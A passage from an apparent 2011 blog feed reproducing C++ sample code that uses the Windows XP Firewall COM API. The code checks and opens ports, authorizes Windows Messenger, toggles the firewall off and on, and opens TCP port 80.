<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Set the process image file name.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwApp-&gt;put_ProcessImageFileName(fwBstrProcessImageFileName);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("put_ProcessImageFileName failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Allocate a BSTR for the application friendly name.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwBstrName = SysAllocString(fwName);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (SysStringLen(fwBstrName) == 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = E_OUTOFMEMORY;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("SysAllocString failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Set the application friendly name.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwApp-&gt;put_Name(fwBstrName);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("put_Name failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Add the application to the collection.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwApps-&gt;Add(fwApp);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Add failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Authorized application %lS is now enabled in the firewall.\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProcessImageFileName<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; // Free the BSTRs.<br>&nbsp;&nbsp;&nbsp; SysFreeString(fwBstrName);<br>&nbsp;&nbsp;&nbsp; SysFreeString(fwBstrProcessImageFileName);</p>
<p>&nbsp;&nbsp;&nbsp; // Release the authorized application instance.<br>&nbsp;&nbsp;&nbsp; if (fwApp != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwApp-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Release the authorized application collection.<br>&nbsp;&nbsp;&nbsp; if (fwApps != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwApps-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; return hr;<br>}</p>
<p><br>HRESULT WindowsFirewallPortIsEnabled(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN INetFwProfile* fwProfile,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN LONG portNumber,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN NET_FW_IP_PROTOCOL ipProtocol,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OUT BOOL* fwPortEnabled<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; VARIANT_BOOL fwEnabled;<br>&nbsp;&nbsp;&nbsp; INetFwOpenPort* fwOpenPort = NULL;<br>&nbsp;&nbsp;&nbsp; INetFwOpenPorts* fwOpenPorts = NULL;</p>
<p>&nbsp;&nbsp;&nbsp; _ASSERT(fwProfile != NULL);<br>&nbsp;&nbsp;&nbsp; _ASSERT(fwPortEnabled != NULL);</p>
<p>&nbsp;&nbsp;&nbsp; *fwPortEnabled = FALSE;</p>
<p>&nbsp;&nbsp;&nbsp; // Retrieve the globally open ports collection.<br>&nbsp;&nbsp;&nbsp; hr = fwProfile-&gt;get_GloballyOpenPorts(&amp;fwOpenPorts);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_GloballyOpenPorts failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Attempt to retrieve the globally open port.<br>&nbsp;&nbsp;&nbsp; hr = fwOpenPorts-&gt;Item(portNumber, ipProtocol, &amp;fwOpenPort);<br>&nbsp;&nbsp;&nbsp; if (SUCCEEDED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Find out if the globally open port is enabled.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwOpenPort-&gt;get_Enabled(&amp;fwEnabled);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_Enabled failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (fwEnabled != VARIANT_FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // The globally open port is enabled.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *fwPortEnabled = TRUE;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Port %ld is open in the firewall.\n", portNumber);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Port %ld is not open in the firewall.\n", portNumber);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // The globally open port was not in the collection.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = S_OK;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Port %ld is not open in the firewall.\n", portNumber);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; // Release the globally open port.<br>&nbsp;&nbsp;&nbsp; if (fwOpenPort != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwOpenPort-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Release the globally open ports collection.<br>&nbsp;&nbsp;&nbsp; if (fwOpenPorts != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwOpenPorts-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; return hr;<br>}</p>
<p><br>HRESULT WindowsFirewallPortAdd(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN INetFwProfile* fwProfile,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN LONG portNumber,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN NET_FW_IP_PROTOCOL ipProtocol,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN const wchar_t* name<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; BOOL fwPortEnabled;<br>&nbsp;&nbsp;&nbsp; BSTR fwBstrName = NULL;<br>&nbsp;&nbsp;&nbsp; INetFwOpenPort* fwOpenPort = NULL;<br>&nbsp;&nbsp;&nbsp; INetFwOpenPorts* fwOpenPorts = NULL;</p>
<p>&nbsp;&nbsp;&nbsp; _ASSERT(fwProfile != NULL);<br>&nbsp;&nbsp;&nbsp; _ASSERT(name != NULL);</p>
<p>&nbsp;&nbsp;&nbsp; // First check to see if the port is already added.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallPortIsEnabled(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProfile,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; portNumber,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ipProtocol,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;fwPortEnabled<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallPortIsEnabled failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Only add the port if it isn't already added.<br>&nbsp;&nbsp;&nbsp; if (!fwPortEnabled)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Retrieve the collection of globally open ports.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwProfile-&gt;get_GloballyOpenPorts(&amp;fwOpenPorts);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_GloballyOpenPorts failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Create an instance of an open port.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = CoCreateInstance(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __uuidof(NetFwOpenPort),<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CLSCTX_INPROC_SERVER,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __uuidof(INetFwOpenPort),<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (void**)&amp;fwOpenPort<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("CoCreateInstance failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Set the port number.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwOpenPort-&gt;put_Port(portNumber);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("put_Port failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Set the IP protocol.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwOpenPort-&gt;put_Protocol(ipProtocol);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("put_Protocol failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Allocate a BSTR for the friendly name of the port.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwBstrName = SysAllocString(name);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (SysStringLen(fwBstrName) == 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = E_OUTOFMEMORY;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("SysAllocString failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Set the friendly name of the port.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwOpenPort-&gt;put_Name(fwBstrName);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("put_Name failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Opens the port and adds it to the collection.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwOpenPorts-&gt;Add(fwOpenPort);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Add failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Port %ld is now open in the firewall.\n", portNumber);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; // Free the BSTR.<br>&nbsp;&nbsp;&nbsp; SysFreeString(fwBstrName);</p>
<p>&nbsp;&nbsp;&nbsp; // Release the open port instance.<br>&nbsp;&nbsp;&nbsp; if (fwOpenPort != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwOpenPort-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Release the globally open ports collection.<br>&nbsp;&nbsp;&nbsp; if (fwOpenPorts != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwOpenPorts-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; return hr;<br>}</p>
<p><br>int __cdecl wmain(int argc, wchar_t* argv[])<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; HRESULT comInit = E_FAIL;<br>&nbsp;&nbsp;&nbsp; INetFwProfile* fwProfile = NULL;</p>
<p>&nbsp;&nbsp;&nbsp; // Initialize COM.<br>&nbsp;&nbsp;&nbsp; comInit = CoInitializeEx(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );</p>
<p>&nbsp;&nbsp; // Ignore RPC_E_CHANGED_MODE; this just means that COM has already been<br>&nbsp;&nbsp; // initialized with a different mode. Since we don't care what the mode is,<br>&nbsp;&nbsp; // we'll just use the existing mode.<br>&nbsp;&nbsp; if (comInit != RPC_E_CHANGED_MODE)<br>&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = comInit;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("CoInitializeEx failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Retrieve the firewall profile currently in effect.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallInitialize(&amp;fwProfile);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallInitialize failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Turn off the firewall.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallTurnOff(fwProfile);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallTurnOff failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Turn on the firewall.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallTurnOn(fwProfile);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallTurnOn failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Add Windows Messenger to the authorized application collection.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallAddApp(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProfile,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; L"%ProgramFiles%\\Messenger\\msmsgs.exe",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; L"Windows Messenger"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallAddApp failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Add TCP::80 to list of globally open ports.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallPortAdd(fwProfile, 80, NET_FW_IP_PROTOCOL_TCP, L"WWW");<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallPortAdd failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; // Release the firewall profile.<br>&nbsp;&nbsp;&nbsp; WindowsFirewallCleanup(fwProfile);</p>
<p>&nbsp;&nbsp;&nbsp; // Uninitialize COM.<br>&nbsp;&nbsp;&nbsp; if (SUCCEEDED(comInit))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CoUninitialize();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73037.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 23:21 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73037.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Add to Windows XP Firewall </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73036.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 15:19:00 